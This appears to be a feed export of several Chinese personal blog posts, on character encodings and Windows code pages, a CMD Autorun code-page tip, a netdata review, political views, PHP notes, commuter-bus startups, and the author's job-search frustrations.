1980 年, Danny Cohen——一位网络协议的早期开发者,在其著名的论文 On Holy Wars and a Plea for Peace 中,为平息一场关于字节该以什么样的顺序传送的争论,而第一次引用了该词。
大端序与小端序
由于字节序的存在,保存文件或传输字符串流的时候,就有必要说明是以什么字节序保存或传输的,BOM(byte-order mark,字节序标记)就是在文件或字符串流开始,用于标识字节序的第一个字符。
UTF-8 没有字节序的问题,UTF-8 with BOM 是微软自己搞出来的,其中的 BOM 仅仅是为了标识该文件使用 UTF-8 编码,某些文本编辑器可能不支持。
不同编码的 BOM
受汉语的影响,很多东亚语言都有汉字,但受到本土语言的发展、书写方式的不同、甚至是错别字以讹传讹等影响,各国现时使用的汉字有所出入。各国虽有自己的汉字编码规范,但互不兼容。
为了整合、统一这些汉字,ISO/IEC 和 Unicode 成立了表意文字小组(The Ideographic Rapporteur Group),负责整理“起源相同、本义相同、形状一样或稍异的表意文字”,也就有了中日韩统一表意文字(CJK Unified Ideographs),后来越南文中的喃字也加入了此计划,就合称为中日韩越(CJKV)统一表意文字,可是谁叫你来得晚呢,现在我们仍习惯使用前者。
“次”的五种写法
CJK 或 CJKV 实际上是指中日韩(越)现时使用的相同或相近的汉字或其他字符,并非“中日韩统一表意文字”的简称,一些中文资料把 CJK 直接翻译成“中日韩统一表意文字”显然是错误的,而且 Unicode 中不仅仅只包含中日韩统一表意文字,还有其他的 CJK 字符,比如中日韩符号和标点(CJK Symbols and Punctuation)、中日韩笔画(CJK Strokes)等。
说完了国际标准,再来说说国家标准(GB)。GB 2312、GBK 和 GB 18030 是最常见的三个字符集的国家标准,估计很多程序员都分不清它们的关系,我就按照时间顺序来简单介绍下。
GB 2312-80 是中华人民共和国制定的第一套关于简体中文字符集和字符编码的国家标准,全称《信息交换用汉字编码字符集·基本集》,1981 年 5 月 1 日实施。只收录 6763 个汉字和包括拉丁字母、希腊字母、日文平假名及片假名、俄语西里尔字母在内的 682 个字符,基本满足了日常需要。虽已被废弃,但仍有许多软件可以支持。
GBK 全名为《汉字内码扩展规范(GBK)》1.0版,1995 年 12 月制定和公布,属于“技术规范指导性文件”,不属于国家标准。由于 GB 2312-80 收录汉字数量有限,部分简化字、人名(如前总理朱镕基的“镕”字,其实这才是关键)、繁体字及日韩所用汉字并未收录。于是微软利用 GB 2312-80 未使用的编码空间,收录 GB 13000.1-93(等同于 ISO/IEC 10646.1:1993 和 Unicode 1.1)全部字符(共 20,902 个汉字)制定了 GBK。
GBK 编码方式
GB 18030-2005 全称《信息技术 中文编码字符集》,是中华人民共和国现时最新的字符集国家标准,2006 年 5 月 1 日实施,与 GB 2312-80 完全兼容,与 GBK 基本兼容,共收录 70,244 个简繁、日韩汉字和少数民族文字。与 UTF-8 一样都采用可变长度的编码,编码后占用 一、二或四字节。GB 18030-2005 内的单、双字节编码部分,和四字节编码部分收录的中日韩统一表意文字扩展 A 区汉字,为强制性标准,其他部分则属于规范性标准。在中华人民共和国境内发售或使用的所有软件,都需要支持这个同时包含一、二和四字节的编码方式。
GB 18030 与 Unicode
虽然 GB 18030-2005 已推行多年,但是直到现在,简体中文版 Windows 上 non-Unicode 程序的默认编码仍然是 GBK(CP 936)。
除了大陆政府制定的汉字字符集/编码标准,同时期也有很多汉字编码标准。比如 Big5,流行于港澳台地区等繁体中文地区,但非官方标准,只是业界标准,为繁体中文版 Windows 上 non-Unicode 程序的默认编码(CP 950)。流行于日本地区的 Shift_JIS(CP 932)包含了日语汉字,后来被收录进中日韩统一表意文字。
最早的汉字编码是中文电码(Chinese telegraph code)。1873年,法国驻华人员威基杰参照《康熙字典》的部首排列方法,挑选了常用汉字6800多个,编成了第一部汉字电码本《电报新书》。中文电码表采用了四位阿拉伯数字作代号,从 0001 到 9999 按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。
除了 UTF-8、UTF-16 等通用字符编码,还有很多区域性的字符编码。Windows 作为一个在全球发售的操作系统,自然也要支持,于是就有了 Windows code pages(Windows 代码页)——一份 MicroSoft Windows 所兼容的字符编码列表,及其在 Windows 中的别名。
因为微软最初是给 IBM 做 MS-DOS(其 IBM PC 专用版本为 PC-DOS,两者差异不大)系统起家的,所以 Windows code pages 实际上是继承于 IBM PC / DOS (OEM) code pages,包括 CP 936。
Windows code pages 微软以前称之为 ANSI code pages,为什么改名呢?
Windows code pages 中的第一个(非继承自 OEM code pages)——1252(Windows West European Latin 1)确实是根据 ANSI 的草案(即后来成为 ISO 标准的 ISO/IEC 8859-1,更为人所知的别名是 Latin-1 或“西欧语言”)制定的,但是后面的 code pages 就不是了。用了一段时间后,微软才发现自己用错术语,于是就改名了。可惜用得太久了,很多地方仍保留着错误的旧名字。至今,如果你打开记事本、选择另存为仍能看到 ANSI。
另存为“ANSI”编码
Windows NT 内核虽早已支持 Unicode,但 CMD(命令提示符)和 PowerShell 并不(完全)支持,默认字符集不是 Unicode。
修改 Windows 上 non-Unicode 程序的默认编码
前面我提到过,CP 936 是简体中文版 Windows 上 non-Unicode 程序的默认编码,其最初版本和 GB 2312 一模一样,后来在推出 Windows 95 时增加了绝大部分 GBK 中的字符。
虽然 CP 936 通常被视为等同于 GBK,连 IANA(Internet Assigned Numbers Authority,互联网号码分配局)也视 CP936 为 GBK 的别名。但相比较一下,GBK 比 CP 936 多定义了 95 个字符(15 个非汉字及 80 个汉字),都是当时未收录进 UCS / Unicode 的字符。虽然新版 Unicode 早已收录这些字符,但 CP 936 至今未修订。
GB 18030 所对应的 Code Page 为 54936,从 Windows XP 起开始加入,但实际并未完全支持。不过由于 GB 18030 向下兼容 GBK,所以大部分情况下并无问题。至于原因,北大中文论坛有相关讨论。
Python 作为一个跨平台的语言,自然也要维护一套自己支持的编码列表,以适应各种(非)官方的别名及 code pages,于是就有了下表。
Python Standard Encodings(节选)
其中 Unified Chinese 应该是 Python 作者自己搞出来的名字,我搜索不到任何结果,就字面意思来看,应该是包含简繁的中文编码。
Python 支持 GB 18030,更具体点是 GB 18030-2000,但不支持所对应的 Windows Code Page 54936。
最后,当我们回过头来看最初的问题,答案就很简单了。
因为作者使用命令(CMD)而不是 API 调用第三方软件,但 CMD 默认字符集不是 Unicode,而且远端的服务器也不一定是用 Unicode 编码,所以作者想出了这么蛋疼的方法去转码,以保证文件名不会出现乱码。
由于很多编码都向下兼容于 ASCII(128 个 ASCII 字符编码一致,包括 UTF-8、GBK 和 GB 18030 等),所以如果是仅仅使用编码后仅占用单字节的现代英语作为文件名,很难发现这个问题,结果这个 bug 就隐藏了这么久。
那么在服务端仍使用 UTF-8 的情况下,我们用向下兼容于 GBK、code range 又与 Unicode 相似的 GB 18030 替换 GBK 能解决这个问题吗?
这是一道陷阱题,回答“可以”的同学请回顾前面关于 UTF-8 和 GB 18030 的相关内容。code range 指的是字符集所能定义的范围,对比对象是 GB 18030 与 Unicode 这两个字符集,跟 UTF-8 这个字符编码没有关系。
UTF-8 支持一到八字节,而 GB 10830 只支持 一、二、四字节,还要考虑每个字节的范围,肯定不兼容。汉字使用 UTF-8 编码后,大都占用三字节,比如“的”字(U+7684),编码后的 hex 为 E7 9A 84。
You should NEVER EVER decode an encoded string by using an unmatched encoding.
虽然 Unicode 在某些字符上有错误,很多生僻字甚至是小语种都没有收录,但它是目前在全世界范围内最通用的字符集,而且还在不断更新(最新一版是 2016年6月21日 发布的 9.0.0),UTF-8 则是其最受欢迎的一种编码实现方式。所以我的看法是:在没有特殊需求的情况下,
请使用 UTF-8 (without BOM)!
]]>
可能有些小伙伴也知道,使用 CHCP
命令可以查看和修改当前的 code page,但是每次打开 CMD 都打一遍命令实在是太麻烦了,有什么更好的办法呢?还真有。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor\Autorun
(当前用户)或 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\Autorun
(全局)可以控制每次打开 CMD 运行的命令或批处理文件,跟 Unix 里的 ~/.bashrc
作用一致。我们只需要把它设置成批处理文件的路径(记得用 \\
而不是 \
)或一行命令就好了。
直到我遇到了 netdata,才发现原来开源的监控软件也能做得这么好看,而且是 ajax 实时渲染的,比那些隔一会儿刷个图片的软件不知道高到哪里去了。
如果你像我一样在使用 Arch Linux 或 Gentoo Linux,官方源里已经有该软件了,直接使用包管理器安装即可。
如果你在用其他 Linux 发行版,官方提供了一键安装脚本(相信我,这跟那些坑爹的 lnmp 的一键安装脚本不一样,自从用过那些脚本后,我再也不相信“一键”了……)和一键依赖安装脚本(如果你懒到连 apt-get 或 yum 都不愿意用的话),你只需要使用 git clone
整个仓库然后运行安装脚本就好了。
升级也很方便,只要 git update
然后再重新运行安装脚本就好了,当然要记得把你的配置文件放到安装目录外(只是出于安全考虑,脚本不会覆盖已有的配置文件)。
除了安装文档外,官方还提供了其他的使用说明,如果是正常使用,我相信你不会需要其他文档了。面向 stackoverflow 运维的日子一去不复返了,再也不用因为各种稀奇古怪的问题而到处 google 了(曾经用过某软件,跑在 web server 后面竟然获取不到当前目录,害我折腾了半天才解决)。
netdata 几乎可以开箱即用,即使像我这样的强迫症患者,也没写几行配置文件。
得益于 RESTful API 和 ajax 实时渲染,netdata 可以实现真正的“实时”监控。web 开发者也可以利用这些 API 来制作自己的监控页面。
netdata 所展示的所有数据,全部来自于 Linux 系统内置的统计信息,所以几乎没有 Disk I/O。
官方自带了很多软件的监控插件,只需要简单配置即可使用。可能是因为自带的插件已经能满足大部分需求,第三方插件并不多。
作为一个监控软件,netdata 的告警功能在最近几个 commits 已经越来越完善了,不过所有的设置都要通过配置文件来完成,不太方便修改(毕竟不是企业级监控,连个存配置文件的数据库都没有。可以,这很 Linux)。
这恐怕是 netdata 最大的缺陷了,所有数据重启服务后就会丢失,而且查看历史数据竟然是用拖的……
分布式是啥?能吃吗?client-server?不懂……都有 RESTful API 了,要啥自行车,在所有服务器上都装上 netdata,想看啥自己调 API 去。
netdata 作为一个实时监控软件,满足了大部分用户仅仅是看下系统资源占用的需求,但是去中心化和专注于实时监控可能并不能满足企业用户的服务器监控需求。
如果你对 netdata 感兴趣,不妨去看下官方的 demo 页面 和 wiki,或部署在本服务器上的 netdata。
]]>
友情提示:鄙人非重点院校政治或哲学系出身的高材生,相关知识均来自于由西方敌对势力所支持的维基百科和屈指可数的几本并不专业、也不十分相关的书籍,乃一文盲加民科。如您看得起我,愿意花时间来指正本文的错误,还烦请多写几句,写清论点和论据,以免鄙人难以理解。
在我看来,共产主义和资本主义最大的不同在于其分配制度与经济模式。在资本主义社会,生产资料归私人所有,政府较少甚至是不干预市场行为,同时保障私有财产不受侵犯。但缺乏管控的市场经济容易形成贫者愈贫富者愈富的马太效应,加剧贫富差距,引发社会动荡。而共产主义主张消灭私有产权,按需分配生产资料,试图建立一种没有阶级制度、没有国家和政府的社会,人们可以根据自己的兴趣,自愿地参与集体工作。实现共产主义的前提是社会生产力达到充分的发展和极度的发达,以及集体利益高于个人利益的集体主义精神。
然而可笑的是,至今并没有哪个国家真正实现了“共产主义”,因为马克思的共产主义社会原本是指一个没有国家机器(包括了没有政府)、社会生产资料完全公有制的社会,政治组织形式上倾向于无党制,而许多标榜马克思主义的政权是由共产主义政党一党专政的国家。
北欧五国实际上实行的是社会民主主义,现代社会民主主义能否被称为社会主义仍然有极大争论,但许多社会民主主义者已经不再自认是社会主义者了。现代的社会民主主义者支持自由市场和公平贸易、广泛的社会福利体制、全民教育与医保、高税率、保障劳工权益等。而更加偏左的民主社会主义则支持公有制和分权式计划经济,政治上实行普选、多党制、司法独立、政治自由。无论是社会民主主义还是民主社会主义,都与共产主义相去甚远,也不是马克思主义理论中的是资本主义社会向共产主义社会过渡的社会主义社会。
从积极的方面来讲,北欧模式这种高福利、高税收社会促进了财富的再分配,有助于缩小贫富差距,更有助于减少由出身而造成的教育不公。但是,高福利使许多人不用工作也能拿到接近于正常薪水的失业补助,导致一些人懒惰,不利于社会进步;高税率使得工人努力工作得到的薪水都很大一部分被政府拿走,当然,这些钱并没有被政府拿去贪污、腐败,而是用在了福利社会的建设上,真正做到了取之于民、用之于民。
写这篇文章的目的并不是想抨击或歌颂某一意识形态,其实对普通的老百姓来说,无论谁执政,只要能让老百姓过上好日子,就会拥护谁。但是,也希望某党能放低身段,不要整天鼓吹爱国就是爱党的荒谬言论。就现阶段而言,没有一个政治意识形态是完美的,将来也不会有,坚持一党独裁终会自食恶果。也希望某党能开放互联网,以更开明的心态倾听反对声音,保障公民的言论自由等基本人权。
]]>PHP 是弱类型的语言,但不代表没有类型,PHP 会隐式转换类型,你也可以强制转换。
像 $_GET
$_POST
这样的外部变量,初始类型都是字符串。
当判断一个有可能被转换为 FALSE 的变量是否存在时,请使用 isset($foo)
而不是 !$foo
。当 $foo
真的不存在时,后者会报 Notice: Undefined variable
;当后者的值为 0 空字符串 NULL 等的时候,后者会返回 TRUE。
1 |
|
据某资深程序员说,在 PHP 4 中,会输出 ‘aaa’,因为每移动一次指针,foo() 都会重新执行一次,但是在 PHP 5 中没有重现。
1 |
|
1 |
|
1 |
|
宣传力度不够
滴滴巴士在线下并没有做任何推广和宣传,甚至在滴滴打车的官网上,也找不到任何关于滴滴巴士的信息。从能找到的新闻来看,滴滴巴士只在微信上有过推广。而其他公司则做得更好,特别是嗒嗒巴士,几乎垄断了公交车站的广告位。
由于定制巴士在线下的宣传力度不够,在车站也没有任何站牌等标识,很多人在看到巴士之前,并不知晓其存在。而定制巴士实行的是先买票后乘车的模式,买票是在线上进行的,所以在未满员的情况下,司机对没有车票的乘客也是睁一只眼闭一只眼,甚至对刚开通或冷门的线路,还配备专人招揽客源免费乘车。
运行线路、发车时间、停靠站点设置不合理
这个问题是所有巴士公司共有的,很多热门线路,无论发车时间还是站点设置,所有公司几乎都一样。不仅没有起到分流的作用,还加重了拥堵。
发车时间集中在高峰开始后的半个小时内,停靠站点也都集中在公司、小区多,人流量密集的几个大站,途经的小站则不做停靠。
同一条线路往往只有一趟巴士,如果误了车,不仅没有其他车次可选,也无法退票。
拿我明天下班从 深南香蜜立交 到 桃源村 这段路程来说,嗒嗒、小猪、滴滴三家公司竟然出奇得“默契”,全都是 深南香蜜立交 到 龙辉花园,途径 桃源村,发车时间也都是 18:15。如果有事误了车,没有其他任何替代的巴士,只能去挤公交。而路线相近的公交车 326 路,一直到晚上 8 点,都还人满为患。
定制巴士的站点往往设置在公交车站,它的出现也干扰了公交车的正常运行,特别是在首站,由于需要等待发车时间,只能停在路边,严重影响了公交车进出站。
空载严重
宣传力度不够、线路设置不合理、重复导致了大量巴士空载,空载的客车不仅造成了资源的浪费,也加重了高峰时期的拥堵情况。
车辆来源混乱、司机不熟悉线路
因为政策限制,所有巴士公司的车辆来源都是有资质的租赁公司,很多都没有固定的车型和外观,仅仅是在车窗顶部贴一个横幅,有的甚至直接放块牌子了事。在这点,嗒嗒和滴滴巴士略胜一筹,不仅车型统一,外观也都一致。
不过还是有很多巴士,连始发和到达站的牌子都没有,已经买票的乘客只能靠车牌号辨识,潜在客户也会因为不知道这条线路而流失。而忘记买票或误了其他公司巴士的乘客,虽然知道有这趟线路,但不知道其目的地,只能问司机,可很多司机只知道大体方向,却不知道具体站名。
反思
仿佛历史重演,从打车到专车,再到顺风车,参与竞争的每一家公司无不在用价格战打压对手,同质化严重,每当有一个新的竞争对手的加入,总能拉起新一轮的价格战。最终,在打车市场,最大的两家公司滴滴和快的合并;在专车市场,Uber 和后来加入的滴滴平分秋色;而在顺风车市场,由于各家公司都起步不久,再加上滴滴和百度的加入,鹿死谁手有待分晓。
再看外卖市场,推出不久的百度外卖因为其巨大的优惠力度,迅速占领了市场,迫使饿了么和美团外卖重新打起了价格战。而外卖市场至今没有成熟的盈利模式,各个平台都是靠补贴吸引用户和商家,更别提收费了。
同质化的竞争不仅造成了资源的浪费,也使得竞争变成了纯粹的价格战,发展变成了烧钱,投资变成了投机。
更有些创业者,整天想的不是怎么盈利,而是怎么拿到更多融资给自己发工资,更幻想着被大公司收购,好让自己的股权变现。
]]>从去年年底,公司开始转型做基因检测,而直到今年春节过后,我才真正接触到了这个项目,期间还走了一个比较谈得来的同事,自此,去年招的四个人只剩下我一个了。
刚入职的时候,我主动做了一个在社区呼声比较高的功能,因为功能比较简单的,也没多少代码,就没跟老板说,可是刚提交上去就被砍了。我和老板站在不同的角度、不同的立场看问题,我觉得需要的功能老板却觉得没用,反之亦然,而我只是刚入职的员工,自然没什么话语权,从此我就再也没主动做过东西。
要说为什么工作状态不好,首先最主要的原因就是最近没什么事干,也不知道公司最近的发展情况;另外一个原因就是公司网络太烂,网速慢还经常断,根本无法正常工作,一个互联网公司,连网都上不去,还上什么班。当然,我自己懒也是一方面,本来九点就起床了,就算坐公交十点多也能到,可我磨磨唧唧十点多才出发。
其实同事们的工作状态不比我好不了多少,炒股、聊天、打游戏,只不过还是按时上下班罢了,而我整天十一点才过去,还按时下班,于是就被谈话了。其实我按时下班也只是为了赶免费的班车,以前在南山的时候,我基本没有按时下班过。
老板说,我在不忙的时候应该主动学习,主动去理解我们的产品,他说当初招我就是因为看到了我对开源社区的贡献。但是他忘了一件事,我做开源只是因为兴趣,不是为了钱,我对原来的项目多少还有点兴趣,而现在这个产品,则是免费送我都没兴趣。一个公司,虽然人不多,但是该有的职责分配还是应该要有的,永远不要指望员工自己去做事情。
我是一个悲观主义者,从不相信努力就能成功,更不相信自己能走狗屎运,工作的第一家公司就能发展壮大。其实我并没有整天闲着,只不过我最近在做的事情,跟公司的项目没有一点关系。一方面出于自己的兴趣,一方面为跳槽做准备。
有时候,我自己都觉得自己矛盾,对待兴趣,我是一个理想主义者,提倡自由、开源与非功利;而提到跟利益有关的事情,我立马就变成了行为功利主义者。
现在的几个同事都跟了老板好几年了,我虽然情商不高,但也不是傻子,知道自己跟老板的时间不长,不能指望除正常工资外,老板能给什么多余的福利,所以当老板跟我“画饼”的时候,我并不太相信。一个公司不能指望只给员工口头承诺、又不及时告知员工公司发展状况的情况下,员工还努力工作,甚至是主动工作。
我本以为自己为人还算随和,再加上共事也不是一天两天了,没必要如陌生人般客套,可没想到老板告诉我,同事们对我有意见,我知道自己有时候说话不过脑子,察言观色、人情世故实非我所擅长之事,有时候我都后悔自己说的话,怎奈说出去的话就如泼出去的水,覆水难收。所以在工作之前,我一直坚持不用任何即时聊天软件而用邮件与人联系,虽然不能保证不卑不亢,但也不至于说出自己后悔的话来,但是后来由于工作需要,不得不继续使用。还好我还在坚持不发朋友圈和微博,以免让更多人讨厌我。而我写博客,是因为我能随时修改或删除博文,而且对服务器有完全的控制权限
无论是纯粹为了生活、为了名利而操劳一生也好,还是为了事业、为了家庭而奋斗一生也罢,那种生活都不是我想要的。对于家庭和事业,我没有一点兴趣,我所想要的是隐居山林,做自己真正喜欢的事情,不用为生活而烦恼,不用担忧职场的潜规则,“谈笑有鸿儒,往来无白丁”。可惜这种生活,比共产主义还乌托邦,出来工作也无非是生活所迫罢了。
再早几年,谈话没结束我肯定就会立即辞职,但是现在,我则“成熟”不少,不仅耐心地听完教导,回家后仅仅在床上想了两个小时,我的心情就已经平静不少,估计到了周一,我就能心平气和地去上班了。终有一天,我会成为自己所恨之人,希望在此之前,我能过上自己真正想要的生活。
]]>
最初想跳槽只是因为外包做太多,烦了,当时是一月底,本来想着年前定好,年后直接跳槽,哪想到投出去几份简历都没人看,拿到的唯一一个面试又是我不擅长的领域。年后又试着投了几家公司,情况虽然比年前好点,面试拿到了几个,但最后也都没了消息。
当时想跳槽的原因还有一个,就是公司的新项目进展缓慢。虽然这个项目在国内没多少人在做,但当时我们的产品无非是对国外同类产品的二次包装,甚至连合作都没有,只不过是拿别人的产品加价来卖,正好这个时候又走了一个同事,这才产生了跳槽的想法。不过后来随着前华大副总裁的加入、与国内相关公司的合作和第一轮融资的确立,这才使我对这个项目产生了信心。另外也要怪老板很少跟我们谈他对公司未来的规划和融资情况了,这些消息都是从同事那听来的。
闲聊中问到我为什么想去大公司。首先,我更关注技术而不是创业。是,谁也不嫌钱多,但创业的风险很大,成功的几率跟赌博差不多。对于没学历又没工作经验的人来说,公司倒闭意味着降薪或者失业。拥有越多,越怕失去。来这家公司之前,我即没工作也没钱,自然什么都不怕。现在的工资虽然不高,但足够生活,再降低点生活品质就该下降了。再看看出来创业的,要么是富二代,大学里就开始创业,要么是三十多,有了一定经济基础才开始创业。
是,去大公司我只能做颗螺丝钉,但螺丝钉也有很多种,有的螺丝钉即使掉了也没事,但有的螺丝钉哪怕松了都可能出问题。我不是富二代,也不是海归,又没人脉,甚至连学历和工作经验都没有,出去创业,别说拉到投资了,能不能找到人一块干都是问题。人贵有自知之明,我觉得我在这点还是做得比较好的,不过有时候做得太好了。而跟别人创业,以我现在的经验和水平,不还是做螺丝钉吗,为什么不在更靠谱的地方做呢?
其次大公司无论是从资源还是技术上,都比小公司好太多,更别提用户数量不在一个层次了。我更关注技术,当然希望能够学到更成熟的技术了。而小公司往往达不到很大规模的用户数,自然也不关心多并发下,应用稳定性了,更别说集群和分布式了。
意料之中,又被问到了辍学的原因。我可能做过很多错误的或让我后悔的决定,但辍学绝不是其中一个。当然,这不是宣扬“读书无用”论,更不是提倡不上学。只是我觉得,学校不适合我。
总之,我打算在目前这家公司再待一年,看看新项目的发展情况,并在这一年的时间里学习下 Python,过几年 web 做多了可能考虑往底层发展,学习下 C 和 C++。
]]>
在一个自媒体时代,人人都能开博,不懂技术也能建站,这么简单都懒得搞?还有朋友圈和微博呢。总之,有了互联网,你想传播点什么信息,不用打电话、发短信给亲朋好友,也不用像楼下的欧巴桑一样,聚在一块婆婆妈妈。足不出户,动动手指就能完成,不管内容有多无聊或没用,总有人能看到它。
所以只要经常上网的人,每天总能看到一堆没用的信息。虽然我讨厌社交元素,没有刷朋友圈、微博、知乎、豆瓣、果壳等网站的习惯,但每天看看新闻,逛逛维基百科,刷刷 V2EX 也能浪费不少时间。虽然看新闻能了解国家大事,逛维基百科能增长见识,刷 V2EX 能……好吧,V2EX 就是个论坛,我也不知道为什么要上它,可能是我英文不好,没法流畅地浏览英文的科技网站吧,只能看看中文的了。再加上偶尔看看美剧和日漫,嗯,一个周末就过去了。
虽然这都算不上什么坏习惯,但总感觉浪费时间,本来计划上午把活干完,刷着刷着发现该吃午饭了,只能下午加紧赶完。更别提遇到问题,Google 查下,点了几个链接就忘了原来在干什么了。当然,对升值加薪也没多大帮助。
上网多了,看书的时间就少了,以前小时候家里不给买电脑,只能看各种科技杂志过瘾,偶尔也看些文学书籍,虽然周末也是宅在家里,但总感觉很充实,而最近我有半年没看过一本书了。尽管网上也有好的文章可以看,而且比书店丰富得多,但总是 TL;NR。
于是各种聚合阅读网站和应用就出现了,今天聊的内容也主要是关于这种应用,只不过加入了社交元素(好吧,又是社交)。大概就是每个人都可以把自己觉得有用的文章分享到这个应用上,用户可以关注别人,那个人分享的内容就会显示在该用户的时间线上。每篇文章用户都可以顶和踩,被顶得越多,这篇文章也会被分享得越广,相反,如果看到这篇文章的人都踩它,那它自然也不会在更大范围内传播。
首先,我是不看好这种应用的,没有核心竞争力,且很多网站已有类似功能,只不过并不是主要功能,更重要的是它的成败完全取决于推广初期的用户质量。
用户阅读文章是需要时间成本的,普通用户很难也不愿花时间去查一篇文章的出处和真实性,这就造成普通用户分享出去的文章的原创性和权威性大打折扣。当用户关注很多人之后,又会造成信息的泛滥,当然可以通过限制用户的关注数来解决。但普通用户更愿意关注名人,如果一个草根用户跟一个名人所分享的文章同属一个领域,那用户则更愿意关注名人,这就形成了名人更有名而草根还是默默无闻的马太效应,从而打击了普通用户分享文章的积极性。
一千个观众眼中有一千个哈姆雷特,就像我以前写的技术类博文,对于小白来说,可能有点帮助,但对大牛来说,可能连学习笔记也算不上。这些文章全是我在 Google 后整理下来,很少有独创的内容,是鱼而非渔。又因为这些问题过于浅显,网络上有许多相似的答案,以至于我根本找不到出处,自然无法注明出处。而我这些文章,无非是把前人写过的内容,稍加整理后又重新写了一遍。于是我决定回归开博的最初目的,只记录自己的所思所想,不再宣传它,不放友链和广告,只写给自己看,您要真闲得无聊,浪费时间来看我的博客,那不能怪我喽。
每个人关注的领域不同,在不同领域的水平亦参差不齐,所以每个人对一篇文章是否有用的判断也不相同。虽然在讨论中提出了标签的概念,用户可以对每篇文章打标签,其他用户可以关注自己喜欢的标签。但标签功能如何与顶踩相结合,在讨论中没有得出结论。
其实我对在线社交类应用并不喜欢,聊天、扯淡确实可以缓解寂寞、增进感情,但刷朋友圈和微博除了浪费时间外基本没什么作用。
写完此文,已是凌晨一点,我花了三个小时扯淡,又花了两个小时整理它,真是“浪费时间”。
]]>
像我找工作的时候除了看公司的规模和发展前景、对自己的提升有多少,薪酬待遇也是很重要的一方面,很多小公司和初创公司在规模和发展前景方面基本一致,没什么吸引力,如果又不能提出更好的薪酬待遇,怎么能吸引到人才呢?
像我目前就职的这家公司,没有投资、待遇也不高、合同社保之类的更没有,但这家公司靠做外包,能自己养活自己,不会突然解散,还能挣到钱。而很多规模比这大、靠自己的产品运作的公司往往活得没外包公司好。
很多公司虽然拉来了投资,但投资人可不是傻子,就算是,也不会一直都犯傻,一旦过了一段时间,这个项目仍没什么进展,那他可能就会觉得这个项目不靠谱而撤资。这种时候,好的情况是拉来了另一笔投资,不好的情况是被大点的公司收购,最坏的情况是直接关门解散。
或许这家公司真有前途,但这是招聘方告诉我的,作为应聘者,我如何确定这是真的呢?很难。作为一个普通人,我很难丢掉稳定的工作和熟悉的工作环境,平薪甚至是降薪进到一家陌生的公司,在同样的工作岗位上做同样的事情。
当然,这是因为我工作经验与能力的不足,使得招聘方只愿给我同样的工作岗位、同样的工作内容以及同样的薪酬待遇。很多人从大公司跳到小公司,就是因为在小公司能做负责人,而在大公司只能做一线员工。国内很多小公司也是盲目崇拜 BAT,招聘的时候总喜欢打上“与前 BAT 员工共事”。
但是前 BAT 员工是很贵的,一个创业公司能负担起一个前 BAT 员工就不错了,即便负担得起,如果不是管理层或负责人的职位,恐怕人家也不愿意来。就算是像我这样,没学历、没经验、没在大公司待过的人都不会因为负责人的几句忽悠,而降低要求跳槽。
不过,不靠谱的公司多,像我这样眼高手低、半瓶子晃荡的也大有人在,总觉得公司给的工资低,对不起自己,而出去一面试就傻眼了,十个问题九个不会。
其实这篇文章反应出了我自己心理上的矛盾,一方面不满公司的发展状况和薪酬待遇,另一方面又深知自己离真正的大牛还很远。面试时,总有人告诉我自己有潜力,过两年积累下经验可能会更有前途。但我所害怕的正是这点,我在成长,别人也在成长,不仅如此,过两年会有更多起点比我高、更年轻的人与我竞争。如果可以进大公司,我当然愿意降低要求,但因为学历问题,没有大公司会看我的简历,而我的简历上又没有什么出彩的东西,即便是看了,也拿不到面试机会。
或许,过两年我应该回老家做一个独立开发者。
]]>
今天终于有家公司在面试的时候没跟我谈情怀,问的问题也不是那些低级问题。不过同前几次面试一样,这家公司又提到了学历问题。当初为什么辍学,答案很简单:高中生活太累,不喜欢应试教育。至于深层次原因,已经过了三年,我自己都记不清了。如果问我后不后悔,我的答案是否定的;如果再给我一次机会,说不定我会做出同样的选择。但是,这与工作和工作态度又有什么关系呢?
首先,高中时学的东西不都是我喜欢的,学习方法更是我所厌恶的,而程序员这份工作,起码是我从小就喜欢的;其次,无论再怎么加班,很少有公司会像高中时那样,早上 7 点到,晚上 10 点走,还是天天如此。天天 5、6 点起,11、12 点睡觉的生活我想没人会喜欢。诚然,跟我同级的大部分人都熬了下来,更别提全国又无数人经历过那样的青春,我承认在这点上,我不如他们。
至于工作态度,起码我从未敷衍过工作,在前面的文章我也提到了,我追求优雅、简洁的代码风格,除非是不再维护的项目,我一定会重构到我满意为止。
我不喜欢跟人扯淡,如果您要是找能聊的基友,那您找错人了。工作上的事情,我会尽力配合,但工作以外的事情,还请少问。
在这几家面试的公司中,没有一家让我写过代码,更没有一家给我看过代码,估计很多公司也没看过我在 GitHub 上的代码。无论怎么谈前景和发展空间,说白了都是空话,忽悠下投资人还可以,我可真不信那一套。全国有那么多 IT 企业,真正做大的有几家?
Words are wind, show the fucking code.
我知道这几篇文章会使我丢掉不少机会,但找工作不仅仅是“找工作”,一个团队如果合不来,还谈什么成长空间和发展前途。
]]>
谈情怀的部分就不写了,没啥好说的,谈谈技术方面。负责人问了我两个简单的算法,一个是对一个一维数组进行排序,另一个是对一组有序数字打乱排序,我用了两种非常傻逼的循环方法,但当时我就记得 PHP 有原生的函数能实现,只是一时想不起来函数名了,但负责人不仅没告诉我 PHP 的原生函数,还告诉我第二个算法没有原生函数……回家一查才想起来,不就是 natsort 和 shuffle 嘛,我还用过呢……不给我用过的函数多了去了,谁能一下子想起来一个不常用的函数。再说算法这种东西,不都是根据实际项目写嘛,哪有固定的模式,写得不好以后再重构呗。反正我经常这么做,有时候第一遍没想到优雅的实现方法就先用笨方法,等写完了再看一遍,说不定就想到了,过两天又想到了更优雅的办法,就再重构一遍。很多涉及到算法的代码,我都是要重构两三遍的。去年写的一个调查系统,为了更好地适应新的需求,我干脆把整个系统重写了。可能对于大部分公司来说,我这样的工作方式,只是浪费时间而已。
